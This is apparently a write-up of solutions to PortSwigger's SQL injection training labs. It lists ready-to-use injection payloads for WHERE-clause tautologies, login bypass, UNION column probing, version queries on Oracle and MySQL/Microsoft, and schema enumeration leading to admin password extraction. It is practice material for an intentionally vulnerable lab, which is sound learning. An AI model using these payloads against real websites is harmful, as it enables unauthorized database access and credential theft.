/SQL-injection

Port Swigger SQL injection Lab Solutions

SQL-injection

Port Swigger SQL injection Labs Solutions

- Retrieving hidden data

1.Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

  1. Solutions
    1. '+OR+1=1-- -> Required

    The server can also respond for the following

    1. 'OR+'1'='1--
    2. 'OR+'1'='1'--
    3. 'OR+'1'--
    4. 'OR+true--
    5. 'OR+'a'='a'--
    6. /OR+1=1--
    7. )'OR+1=1--
    8. ""OR+1=1--
    9. )*OR+1=1--

- Subverting application logic

2.Lab: SQL injection vulnerability allowing login bypass

  1. Solutions

    1. username : administrator'-- password : ''
    2. username :a'OR+1=1-- password : ''

- Retrieving data from other database tables

3.Lab: SQL injection UNION attack, determining the number of columns returned by the query

  1. Solutions

The first step of such an attack is to determine the number of columns that are being returned by the query. The server will responed for 'ORDER+BY+1-- 'ORDER+BY+2-- 'ORDER+BY+3-- that mean there are 3 columns in the database.

  1. '+UNION+SELECT+NULL,NULL,NULL--
  2. 'UNION+SELECT+NULL,NULL,NULL--
  3. 'union+select+null,null,null--

4.Lab: SQL injection UNION attack, finding a column containing text

  1. Solutions

The server responed for '+UNION+SELECT+NULL,'xyz',NULL-- that is mean the second column containing text. Make the database retrieve the string: 'IyLLPT' #Noted in the top of the screen,it can be diffrent in your case

  1. '+UNION+SELECT+NULL,'IyLLPT',NULL--

5.Lab: SQL injection UNION attack, retrieving data from other tables

  1. Solutions

By applying '+UNION+SELECT+NULL,NULL-- we can say the database has tow columns. By applying '+UNION+SELECT+'abc','xyz'-- we can say the columns have string values. To retrieve the contents of the users table we can use the following payload '+UNION+SELECT+username,+password+FROM+users-- where username is the name of first column ,password is the name of second column and users is the name of the table in the database.

Example

Database name : USERS

username password
administrator bp6w7q9023goawolzuyh
Content in the first column Content in the second column

Now to solve the challenge go to Response in Burp Suite from raw search for administrator and its password bp6w7q9023goawolzuyh

6.Lab: SQL injection UNION attack, retrieving multiple values in a single column

  1. Solutions

    By applying '+UNION+SELECT+NULL,NULL-- we can say the database has tow columns. By applying '+UNION+SELECT+NULL,'abc'-- we can say the second column has string values. Now to retrieve data from only one column we can use the following payload '+UNION+SELECT+NULL,username||'~'||password+FROM+users--

||'~'|| will join username and password like administrator~wet39rb7kc6kt99lq0o6

Now to solve the challenge go to Response in Burp Suite and get the username~password administrator~wet39rb7kc6kt99lq0o6

- Examining the database in SQL injection attacks

7.Lab: SQL injection attack, querying the database type and version on Oracle

  1. Solutions

On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

There is a built-in table on Oracle called DUAL which you can use for this purpose. For example: UNION SELECT 'abc' FROM DUAL

By applying '+UNION+SELECT+NULL,NULL+FROM+DUAL-- we can say the database has tow columns. By applying '+UNION+SELECT+'abc','xyz'+FROM+DUAL-- we can say the first and second columns have string values. to retrieve the version of the database, for Oracle we can use cheat sheet:

  • SELECT banner FROM v$version
  • SELECT version FROM v$instance

the payload will be like:

'+UNION+SELECT+banner,NULL+FROM+v$version--

'+UNION+SELECT+version,NULL+FROM+v$instance--

8.Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

  1. Solutions

By applying '+UNION+SELECT+NULL,NULL+FROM+DUAL# we can say the database has tow columns. By applying '+UNION+SELECT+'abc','xyz'+FROM+DUAL# we can say the first and second columns have string values. Now to retrieve data from only one column we can use the following payload to retrieve the version of the database, for Microsoft DB we can use cheat sheet:

Microsoft SELECT @@version

the payload will be like:

'+UNION+SELECT+@@version,NULL+FROM+DUAL#

'+UNION+SELECT+NULL,@@version+FROM+DUAL#

9.Lab: SQL injection attack, listing the database contents on non-Oracle databases

  1. Solutions

As we can see the Database respond for '+UNION+SELECT+NULL,NULL-- that is mean there are tow tables.

By usin payload '+UNION+SELECT+'abc','xyz'-- we can get that both tables have string values.

use payload '+UNION+SELECT+table_name,+NULL+FROM+information_schema.columns-- to get table name users_xxxx

use payload '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='USERS_ABCDEF'-- o retrieve the details of the columns in the table (replacing the table name) in my case is users_ggighe you can get that by search in bottom right filed in Burp Suite using users

By using '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ggighe'-- you can see the user_xxxx and password_xxxx

now change the column by user_xxx,password_xxxx.by using '+UNION+SELECT+username_xxxx,+password_xxxx+FROM+users_xxxx-- then search by administrator and get the password

Finally loging using administrator and its password

10.Lab: SQL injection attack, listing the database contents on Oracle

  1. Solutions

Note that in Oracle every SELECT statement must specify a table to select FROM.

There is a built-in table on Oracle called DUAL which you can use for this purpose. For example: UNION SELECT 'abc' FROM DUAL.

By using '+UNION+SELECT+'abc','xyz'+FROM+DUAL-- we can say the database has tow columns and both have string values.

By using '+UNION+SELECT+table_name,NULL+FROM+all_tables-- will get the name of the table.

Then use '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_TJQMGZ'-- to retrieve the usename and password

After you get the username and password use payload '+UNION+SELECT+USERNAME_TZBHEF,PASSWORD_YAKDEJ+FROM+USERS_TJQMGZ-- to get username and password of the administrator

Finally loging using administrator and its password